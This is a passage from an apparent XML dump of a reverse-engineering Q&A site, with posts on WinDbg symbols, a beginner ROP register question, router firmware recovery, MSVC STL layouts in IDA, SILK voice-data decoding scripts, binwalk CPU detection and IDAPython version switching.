debuggee) time: Wed Sep 23 00:00:57.303 2020 &#xA;4000 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:01:23.955 2020 &#xA;4500 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:01:52.593 2020 &#xA;5000 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:02:22.930 2020 &#xA;5500 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:02:55.546 2020 &#xA;6000 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:03:30.068 2020 &#xA;6500 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:04:06.521 2020 &#xA;7000 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:04:45.134 2020 &#xA;7500 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:05:25.709 2020 &#xA;8000 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:06:08.456 2020 &#xA;8500 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:06:53.301 2020 &#xA;9000 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:07:40.663 2020 &#xA;9500 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:08:29.967 2020 &#xA;10000 symbols added&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the result of symbols are as follows&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:021&amp;gt; x xul!str_000100*&#xA;50462710          xul!str_00010000 = &amp;lt;no type information&amp;gt;&#xA;50462711          xul!str_00010001 = &amp;lt;no type information&amp;gt;&#xA;50462712          xul!str_00010002 = &amp;lt;no type information&amp;gt;&#xA;50462713          xul!str_00010003 = &amp;lt;no type information&amp;gt;&#xA;50462714          xul!str_00010004 = &amp;lt;no type information&amp;gt;&#xA;50462715          xul!str_00010005 = &amp;lt;no type information&amp;gt;&#xA;50462716          xul!str_00010006 = &amp;lt;no type information&amp;gt;&#xA;50462717          xul!str_00010007 = &amp;lt;no type information&amp;gt;&#xA;50462718          xul!str_00010008 = &amp;lt;no type information&amp;gt;&#xA;50462719          xul!str_00010009 = &amp;lt;no type information&amp;gt;&#xA;5046271a          xul!str_00010010 = &amp;lt;no type information&amp;gt;&#xA;5046271b          xul!str_00010011 = &amp;lt;no type information&amp;gt;&#xA;5046271c          xul!str_00010012 = &amp;lt;no type information&amp;gt;&#xA;5046271d          xul!str_00010013 = &amp;lt;no type information&amp;gt;&#xA;5046271e          xul!str_00010014 = &amp;lt;no type information&amp;gt;&#xA;5046271f          xul!str_00010015 = &amp;lt;no type information&amp;gt;&#xA;50462720          xul!str_00010016 = &amp;lt;no type information&amp;gt;&#xA;50462721          xul!str_00010017 = &amp;lt;no type information&amp;gt;&#xA;50462722          xul!str_00010018 = &amp;lt;no type information&amp;gt;&#xA;50462723          xul!str_00010019 = &amp;lt;no type information&amp;gt;&#xA;50462724          xul!str_00010020 = &amp;lt;no type information&amp;gt;&#xA;50462725          xul!str_00010021 = &amp;lt;no type information&amp;gt;&#xA;50462726          xul!str_00010022 = &amp;lt;no type information&amp;gt;&#xA;50462727          xul!str_00010023 = &amp;lt;no type information&amp;gt;&#xA;50462728          xul!str_00010024 = &amp;lt;no type information&amp;gt;&#xA;50462729          xul!str_00010025 = &amp;lt;no type information&amp;gt;&#xA;5046272a          xul!str_00010026 = &amp;lt;no type information&amp;gt;&#xA;5046272b          xul!str_00010027 = &amp;lt;no type information&amp;gt;&#xA;5046272c          xul!str_00010028 = &amp;lt;no type information&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-09-22T19:11:28.150" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25956" PostTypeId="1" CreationDate="2020-09-23T02:32:58.987" Score="1" ViewCount="50" Body="&lt;p&gt;We have 32bit &amp;amp; 64bit binaries, and in ROP (Return Oriented Programming), we sometimes target &lt;code&gt;RSP&lt;/code&gt;/&lt;code&gt;ESP&lt;/code&gt;, sometimes &lt;code&gt;RIP&lt;/code&gt;/&lt;code&gt;EIP&lt;/code&gt;, (maybe) sometimes &lt;code&gt;RBP&lt;/code&gt;/&lt;code&gt;EBP&lt;/code&gt; (I'm new to this, haven't seen &lt;code&gt;RBP&lt;/code&gt; used yet). In ROP Emporium's &lt;a href=&quot;https://ropemporium.com/challenge/ret2win.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ret2win&lt;/a&gt; challenge, I hit (with the target address) &lt;code&gt;EIP&lt;/code&gt; on the 32bit binary, but &lt;code&gt;RSP&lt;/code&gt; on the 64bit since I couldn't get my payload to hit &lt;code&gt;RIP&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;How do we choose which of the 3 registers to target when making a ROP chain/gadget?&lt;/p&gt;&#xA;" OwnerUserId="30044" LastActivityDate="2020-09-23T02:32:58.987" Title="xIP vs xSP vs xBP: How to choose the target?" Tags="|exploit|register|rop|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25957" PostTypeId="1" CreationDate="2020-09-23T04:26:59.757" Score="0" ViewCount="59" Body="&lt;p&gt;I'm working on to get openwrt to this Linksys e3200 router.&#xA;Stock and wrt firmware did flash ok through web interface.&lt;/p&gt;&#xA;&lt;p&gt;In the progress of testing different openwrt builds I happen to brick it.&lt;/p&gt;&#xA;&lt;p&gt;I have bios programmer and flashrom connected. The firmware files is a about 7mb and 11mb in size, the chip is 16mb.&#xA;I did truncate the files and flashed ok.&lt;/p&gt;&#xA;&lt;p&gt;I do only get dim lights on ports. No TTL/serial.&lt;/p&gt;&#xA;&lt;p&gt;Do you think the flash layout is the cause of something else?&lt;/p&gt;&#xA;" OwnerUserId="34476" LastActivityDate="2020-09-23T10:25:57.473" Title="WiFi router flash layout - brick?" Tags="|firmware|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25958" PostTypeId="2" ParentId="25953" CreationDate="2020-09-23T09:15:50.153" Score="3" Body="&lt;p&gt;je is normally used with cmp instruction like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cmp Reg16/32/64,const&#xA;je someplace&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;while jz is normally used to check specifically for 0 or null&#xA;like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dec reg16/32/64 &#xA;jz someplace&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;i just modified your code to an infinite loop and emulated it in x86 emulator&#xA;see below for code and gif.&lt;/p&gt;&#xA;&lt;p&gt;code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov ax, 0x2&#xA;dec     ax&#xA;and     ax, 0x1&#xA;jz  equal&#xA;je  equal&#xA;test    ax, 1&#xA;jz  equal&#xA;je  equal&#xA;cmp     ax, 1&#xA;redo:&#xA;jz  equal&#xA;equal:&#xA;je  redo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nB2en.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nB2en.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-09-23T10:31:30.307" LastActivityDate="2020-09-23T10:31:30.307" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25960" PostTypeId="1" CreationDate="2020-09-23T13:53:18.243" Score="1" ViewCount="1613" Body="&lt;p&gt;We all know that reversing STL code is no fun. To make it easier, I usually create some of the strucutres so I can reference the created STL structures in another custom structure.&lt;/p&gt;&#xA;&lt;p&gt;For example, msvc - std::string structure:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00000000 std::string     struc ; (sizeof=0x1C)&#xA;00000000 alloc           dd ?                    ; void *&#xA;00000004 Buffer          db 16 dup(?)            ; string(C)&#xA;00000014 Length          dd ?                    ; int&#xA;00000018 LengthMax       dd ?                    ; int&#xA;0000001C std::string     ends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or std::vector:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00000000 std::vector     struc ; (sizeof=0x10)&#xA;00000000 alloc           dd ?                    ; void *&#xA;00000004 NumberOfItems   dd ?                    ; int&#xA;00000008 MaxSize         dd ?                    ; int&#xA;0000000C Data            dd ?                    ; &#xA;00000010 std::vector     ends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Doing this and then in decompilation using these structures, makes the code much more readable.&lt;/p&gt;&#xA;&lt;p&gt;I sometimes find it difficult figuring out other structures, i.e. &lt;code&gt;std::queue&lt;/code&gt;, looking in the implementation I can see its container type is actually a typedef to &lt;code&gt;std::deque&lt;/code&gt;, which has the content of &lt;code&gt;std::_Compressed_pair&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to recreate these STL types, with proper naming as I did for vector and string, so I can reference to them in other structures in order to a have cleaner decompilation? What would a &lt;code&gt;std::queue&lt;/code&gt; structure look like?&lt;/p&gt;&#xA;&lt;p&gt;Thanks a lot in advance.&lt;/p&gt;&#xA;" OwnerUserId="28516" LastEditorUserId="28516" LastEditDate="2020-10-30T17:46:24.173" LastActivityDate="2020-10-30T17:46:24.173" Title="STL Data Structures Hex-Rays" Tags="|ida|decompilation|c++|hexrays|msvc|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25963" PostTypeId="2" ParentId="25960" CreationDate="2020-09-23T19:39:11.430" Score="1" Body="&lt;p&gt;you created those structures or you pulled  it from somewhere ?&lt;br /&gt;&#xA;basically these are template classes and not structures&lt;/p&gt;&#xA;&lt;p&gt;where did you get the size of 0x1c for std::string&lt;br /&gt;&#xA;it is 0x18&lt;br /&gt;&#xA;0x10 for buffer  or Pointer (static small string or malloced() bigstring )&lt;br /&gt;&#xA;0x4 for Actualsize or_Mysize&lt;br /&gt;&#xA;0x4 for Reservedsize or _Myres&lt;/p&gt;&#xA;&lt;p&gt;like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _FOO {&#xA;union _Bx {&#xA;char buff[16];&#xA;Pointer ptr;&#xA;};&#xA;ULONG _Mysize;&#xA;ULONG _Myres;&#xA;}Foo,*PFoo;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;these classes are defined in the header files like xstring , vector etc&#xA;for example string_val is defined in xstring&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft Visual Studio\2017\Community\VC\Tools\MSVC\14.16.27023\include\xstring&#xA;&#xA;:\&amp;gt;grep -r -n -i  class.*string_val *&#xA;xstring:1768:           // CLASS TEMPLATE _String_val&#xA;xstring:1770:   class _String_val&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;like wise you can get queue also  lookfor queue_val in deque header&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ?? myqueue&#xA;&#xA;class std::queue&amp;lt;std::vector&amp;lt;int,std::allocator&amp;lt;int&amp;gt; &amp;gt;,std::deque&amp;lt;std::vector&amp;lt;int,std::allocator&amp;lt;int&amp;gt; &amp;gt;,std::allocator&amp;lt;std::vector&amp;lt;int,std::allocator&amp;lt;int&amp;gt; &amp;gt; &amp;gt; &amp;gt; &amp;gt;&#xA;   +0x000 c                : std::deque&amp;lt;std::vector&amp;lt;int,std::allocator&amp;lt;int&amp;gt; &amp;gt;,std::allocator&amp;lt;std::vector&amp;lt;int,std::allocator&amp;lt;int&amp;gt; &amp;gt; &amp;gt; &amp;gt;&#xA;&#xA;0:000&amp;gt; ?? sizeof(myqueue)&#xA;unsigned int 0x14&#xA;&#xA;0:000&amp;gt; ?? myqueue.c._Mypair._Myval2&#xA;class std::_Deque_val&amp;lt;std::_Deque_simple_types&amp;lt;std::vector&amp;lt;int,std::allocator&amp;lt;int&amp;gt; &amp;gt; &amp;gt; &amp;gt;&#xA;   +0x000 _Myproxy         : 0x0057b598 std::_Container_proxy&#xA;   +0x004 _Map             : 0x0057b960  -&amp;gt; 0x0057b998 std::vector&amp;lt;int,std::allocator&amp;lt;int&amp;gt; &amp;gt;&#xA;   +0x008 _Mapsize         : 8&#xA;   +0x00c _Myoff           : 0&#xA;   +0x010 _Mysize          : 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-09-23T19:51:11.687" LastActivityDate="2020-09-23T19:51:11.687" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25966" PostTypeId="2" ParentId="25800" CreationDate="2020-09-24T05:56:18.227" Score="2" Body="&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Each &lt;code&gt;section&lt;/code&gt; &lt;em&gt;n&lt;/em&gt; indicates a separate stream of data&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;sequence_bytes&lt;/code&gt; value indicates the order that the frames should be placed in when decoding.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;voice_data&lt;/code&gt; is base64-encoded&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The decoded data is a SILK-encoded frame, but with the following exceptions:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The first 14 bytes&lt;/li&gt;&#xA;&lt;li&gt;The last 4 bytes&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;To decode the data, you must do the following:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For each &lt;code&gt;section&lt;/code&gt; &lt;em&gt;n&lt;/em&gt;, order &lt;em&gt;n&lt;/em&gt;'s structs in ascending order based on the value of &lt;code&gt;sequence_bytes&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;De-base64 each struct's &lt;code&gt;voice_data&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extract the SILK payload from each struct (i.e. remove the first 14 bytes and the last 4 bytes) and concatenate them all together (again, must be in order based on &lt;code&gt;sequence_bytes&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Prepend the resulting file with &lt;code&gt;#!SILK_V3&lt;/code&gt; (the SILK header)&lt;/li&gt;&#xA;&lt;li&gt;You now have a valid SILK file that can be decoded (details below)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Long version&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using the &lt;a href=&quot;https://pastebin.com/s0DjAyjb&quot; rel=&quot;nofollow noreferrer&quot;&gt;sample data you posted&lt;/a&gt;, first thing I had to do was replace the final comma with a &lt;code&gt;]&lt;/code&gt; to make it valid JSON.&lt;/p&gt;&#xA;&lt;p&gt;I originally used shell scripts to to convert the structs from JSON to SILK, but in the interest of efficiency, I re-implemented the conversion in Python.&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import json&#xA;import base64&#xA;import sys&#xA;&#xA;def main():&#xA;    if len(sys.argv) &amp;lt; 2:&#xA;        print(&amp;quot;Usage: python3&amp;quot;, sys.argv[0], &amp;quot;&amp;lt;CSVCMsg_VoiceData json file&amp;gt;&amp;quot;)&#xA;        exit(1)&#xA;&#xA;    with open(sys.argv[1], 'r') as infile:&#xA;        json_data = json.load(infile)&#xA;&#xA;    # Create dictionary with section number as the key and list of&#xA;    # that section's structs as the value&#xA;    section_dict = {}&#xA;    for obj in json_data:&#xA;        sec_num = obj['section_number']&#xA;        if sec_num not in section_dict:&#xA;            section_dict[sec_num] = []&#xA;        section_dict[sec_num].append(obj)&#xA;&#xA;    # Create SILK file for each section number stream&#xA;    for section in section_dict.keys():&#xA;        filename=f&amp;quot;section_{section}.slk&amp;quot;&#xA;        print(f&amp;quot;Generating SILK file {filename} for section {section}...&amp;quot;)&#xA;        with open(filename, 'wb') as outfile:&#xA;            # SILK header&#xA;            outfile.write(b&amp;quot;#!SILK_V3&amp;quot;)&#xA;            # Sort frames in ascending order based on sequence_bytes value&#xA;            for frame in sorted(section_dict[section], key=lambda x : x['sequence_bytes']):&#xA;                decoded = base64.b64decode(frame['voice_data'])&#xA;                # strip first 14 bytes and last 4 bytes before writing&#xA;                outfile.write(decoded[14:-4])&#xA;&#xA;if __name__ == '__main__':&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To decode SILK, I used the official SDK (that's what the decoder linked by Gordon Freeman is built on top of). The SDK can be downloaded from &lt;a href=&quot;https://web.archive.org/web/20121027201101/https://developer.skype.com/silk/SILK_SDK_SRC_v1.0.9.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt;, which I found from &lt;a href=&quot;https://web.archive.org/web/20121027201101/https://developer.skype.com//silk&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;After I downloaded the SDK, I extracted it, went into the directory named &lt;code&gt;SILK_SDK_SRC_FIX_v1.0.9&lt;/code&gt;, and ran &lt;code&gt;make&lt;/code&gt; (I'm on Kali, but pretty much any Linux variant should be fine).&lt;/p&gt;&#xA;&lt;p&gt;Once &lt;code&gt;make&lt;/code&gt; completes, you're left with a couple executables; the only one we care about is &lt;code&gt;decoder&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Simply run &lt;code&gt;decoder&lt;/code&gt; on the SILK payloads generated above, and you'll get a pcm file you can do whatever you want with. For example, &lt;code&gt;./decoder section_12.slk section_12.pcm&lt;/code&gt;. The output file is at 22050 Hz.&lt;/p&gt;&#xA;&lt;p&gt;Hat tip to @Gordon Freeman for pointing out that the header isn't 18 bytes like I originally suspected and that the last 4 bytes aren't part of the SILK payload.&lt;/p&gt;&#xA;&lt;h2&gt;Old shell scripts&lt;/h2&gt;&#xA;&lt;p&gt;For posterity, here's how I converted the JSON to SILK files with shell scripts.&lt;/p&gt;&#xA;&lt;p&gt;I used the following script to extract the data, de-base64 it, and put each struct's data in its own file.&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-sh prettyprint-override&quot;&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;# Write each decoded VoiceData to a file with the naming convention&#xA;# &amp;lt;sequence_bytes&amp;gt;_&amp;lt;section_number&amp;gt;&#xA;write_data ()&#xA;{&#xA;    filename=`echo $1 | cut -d_ -f1,2`&#xA;    data=`echo $1 | cut -d_ -f3`&#xA;    echo -n &amp;quot;$data&amp;quot; | base64 -d &amp;gt; $filename&#xA;}&#xA;export -f write_data&#xA;jq -r '.[] | &amp;quot;\(.sequence_bytes)_\(.section_number)_\(.voice_data)&amp;quot;' dota2CasterParse.json | xargs -I '{}' bash -c &amp;quot;write_data '{}'&amp;quot;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I then used the following script to create a SILK file for each section:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-sh prettyprint-override&quot;&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;section_numbers=$(ls [0-9]*_[0-9]* | cut -d_ -f2 | sort -u)&#xA;&#xA;for section in $section_numbers; do&#xA;    output=&amp;quot;section_${section}_voiceData.slk&amp;quot;&#xA;    echo -n '#!SILK_V3' &amp;gt; $output&#xA;    for i in $(ls *_${section} | sort -n); do&#xA;        dd bs=1 skip=14 count=$(($(stat -c &amp;quot;%s&amp;quot; $i)-18)) if=$i of=$output conv=notrunc oflag=append&#xA;    done&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18563" LastEditorUserId="18563" LastEditDate="2023-03-08T05:21:28.867" LastActivityDate="2023-03-08T05:21:28.867" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25967" PostTypeId="2" ParentId="25800" CreationDate="2020-09-24T08:23:04.747" Score="1" Body="&lt;p&gt;There are 3 types of &amp;quot;frame&amp;quot;, i guess 3 casters&lt;br&gt;&#xA;BB 3F 80 0A 01 00 10 01 0B 80 3E 04 42 01  (@ 0x0)&lt;br&gt;&#xA;D8 76 DD 02 01 00 10 01 0B 80 3E 04 FA 01  (@ 0x5f0)&lt;br&gt;&#xA;67 7D 11 05 01 00 10 01 0B 80 3E 04 7E 01  (@ 0x44ccf)&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;Example for the first one:&lt;br&gt;&#xA;BB 3F 80 0A identifier of the caster&lt;br&gt;&#xA;01 channel number mono&lt;br&gt;&#xA;80 3E = 0x3e80 =16000 the rate&lt;br&gt;&#xA;42 01 = 0x142 the size of silk data&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;After the size the following 0x142 bytes are the datas of silk file&lt;br&gt;&#xA;just add it silk header #!SILK_V3&lt;br&gt;&#xA;23 21 53 49 4C 4B 5F 56 33&lt;/p&gt;&#xA;&lt;p&gt;I use silk_v3_decoder.exe (? some python script can do it)&lt;br&gt;&#xA;silk_v3_decoder.exe in.hex out.pcm -Fs_API 16000&lt;br&gt;&#xA;then&lt;br&gt;&#xA;ffmpeg  -f s16le -ar 16000 -ac 1 -i out.pcm out.wav&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;A frame represents a short time, so all the data must be concatenated&lt;br&gt;&#xA;(as said hairlessbear)&lt;/p&gt;&#xA;&lt;p&gt;Nota: at the end of the &amp;quot;frame&amp;quot; there is 4 bytes could be checksum&lt;/p&gt;&#xA;" OwnerUserId="34077" LastEditorUserId="-1" LastEditDate="2020-09-24T10:53:02.607" LastActivityDate="2020-09-24T10:53:02.607" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25968" PostTypeId="1" CreationDate="2020-09-24T11:32:34.230" Score="2" ViewCount="255" Body="&lt;p&gt;I'm decompiling a binary file for a Infineon Tricore processor, the code is incomplete and only contains part of the code so will not execute. The auto analysis did a great job and the code is readable but I have 1 snag with the address offsets.&lt;/p&gt;&#xA;&lt;p&gt;Currently a large part of the code uses a static address offset which are set into [a0]. I know this to be a value of 0xd0008000 and it never changes but can't figure out a way of forcing this during the analysis.&lt;/p&gt;&#xA;&lt;p&gt;For example, the code will load an address register like this:&#xA;[a0]0x50f0&#xA;I know this should should be 0xd000d0f0 but the auto analysis will just show [a0]0x50f0.&lt;/p&gt;&#xA;&lt;p&gt;I can force each reference on a local basis by hitting Ctrl+R and manually adding the offset but I'm interested to know what the correct method is.&lt;/p&gt;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="34487" LastActivityDate="2020-11-11T11:17:14.783" Title="Address register offsets and analysis (Tricore)" Tags="|ida|offset|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25969" PostTypeId="1" CreationDate="2020-09-24T11:43:31.420" Score="0" ViewCount="77" Body="&lt;p&gt;I have some SVG images stored in a database; but I am not able to find out which encoding is used.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, I don't have the exact SVG plain text available. The given examples &amp;quot;probably&amp;quot; start with &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; or an XML header like &lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;&lt;/code&gt;...&lt;/p&gt;&#xA;&lt;p&gt;Some examples (shortened):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[encoded data, 13462 characters] ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;[encoded data, 13462 characters] ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Since both examples start with the same prefix I assume that no encryption is applied. Maybe the data is compressed? Obviously the string contains only hex values - but I did not find a way to extract a meaningful SVG-Image from that.&lt;/p&gt;&#xA;&lt;p&gt;Any help or ideas? What are possible next steps to find out more about the encoding?&lt;/p&gt;&#xA;&lt;p&gt;Best regards&#xA;Dominik&lt;/p&gt;&#xA;" OwnerUserId="34486" LastActivityDate="2020-09-24T11:43:31.420" Title="Looking for encoding of SVG data" Tags="|encryption|encodings|strings|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25972" PostTypeId="2" ParentId="2897" CreationDate="2020-09-25T08:11:11.670" Score="4" Body="&lt;p&gt;Two additional methods that haven't been mentioned yet.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;binwalk&lt;/code&gt;'s disassembly scan (note: &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md#dependencies&quot; rel=&quot;nofollow noreferrer&quot;&gt;must have &lt;code&gt;capstone&lt;/code&gt; installed&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Disassembly Scan Options:&#xA;    -Y, --disasm                 Identify the CPU architecture of a file using the capstone disassembler&#xA;    -T, --minsn=&amp;lt;int&amp;gt;            Minimum number of consecutive instructions to be considered valid (default: 500)&#xA;    -k, --continue               Don't stop at the first match&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Example output (image is ARM LE):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -Yk image.img&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;3             0x3             ARM executable code, 32-bit, big endian, at least 726 valid instructions&#xA;1048576       0x100000        ARM executable code, 32-bit, little endian, at least 1250 valid instructions&#xA;2099012       0x200744        ARM executable code, 32-bit, little endian, at least 846 valid instructions&#xA;3158316       0x30312C        ARM executable code, 32-bit, little endian, at least 899 valid instructions&#xA;4201328       0x401B70        ARM executable code, 32-bit, little endian, at least 1250 valid instructions&#xA;5253066       0x5027CA        ARM executable code, 16-bit (Thumb), big endian, at least 2499 valid instructions&#xA;6308406       0x604236        ARM executable code, 16-bit (Thumb), little endian, at least 2499 valid instructions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/airbus-seclab/cpu_rec&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;cpu_rec&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Can be used as either a standalone tool or a &lt;code&gt;binwalk&lt;/code&gt; module.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;binwalk&lt;/code&gt; usage:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Statistical CPU guessing Options:&#xA;    -%, --markov                 Identify the CPU opcodes in a file using statistical analysis&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Example output, used as a binwalk module (image is ARM LE):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -% image.img&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             None (size=0x800, entropy=0.757822)&#xA;2048          0x800           CLIPPER (size=0x800, entropy=0.728492)&#xA;4096          0x1000          None (size=0x2000, entropy=0.129643)&#xA;12288         0x3000          ARMel (size=0x35c000, entropy=0.795123)&#xA;3534848       0x35F000        None (size=0x800, entropy=0.797443)&#xA;3536896       0x35F800        ARMel (size=0x16800, entropy=0.834972)&#xA;3629056       0x376000        None (size=0x800, entropy=0.764094)&#xA;3631104       0x376800        ARMel (size=0x16a000, entropy=0.797543)&#xA;5113856       0x4E0800        None (size=0x1800, entropy=0.841936)&#xA;5120000       0x4E2000        ARMel (size=0x1000, entropy=0.812677)&#xA;5124096       0x4E3000        None (size=0x1000, entropy=0.844949)&#xA;5128192       0x4E4000        ARMel (size=0xc000, entropy=0.792995)&#xA;5177344       0x4F0000        None (size=0x24000, entropy=0.763681)&#xA;5324800       0x514000        6502 (size=0x24000, entropy=0.974422)&#xA;5472256       0x538000        None (size=0x137800, entropy=0.728785)&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18563" LastEditorUserId="18563" LastEditDate="2021-01-02T04:48:30.733" LastActivityDate="2021-01-02T04:48:30.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25973" PostTypeId="1" CreationDate="2020-09-25T14:39:46.770" Score="1" ViewCount="6151" Body="&lt;p&gt;I have IDA 6.95, Python 2.7 and Python 3.7.&lt;br /&gt;&#xA;Currently when I start IDA it uses Python 2.7:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;-----------------------------------------------------------------------------------------&#xA;Python 2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:19:22) [MSC v.1500 32 bit (Intel)] &#xA;IDAPython v1.7.0 final (serial 0) (c) The IDAPython Team &amp;lt;idapython@googlegroups.com&amp;gt;&#xA;-----------------------------------------------------------------------------------------  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I wanted to change it to 3.7.&lt;br /&gt;&#xA;I tried to do it with &lt;code&gt;idapyswitch.exe&lt;/code&gt; but failed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files (x86)\IDA 6.95&amp;gt;idapyswitch.exe --force-path &amp;quot;C:\Users\user1\AppData\Local\Programs\Python\Python37-32\python3.dll&amp;quot;&#xA;Cannot determine python library version for 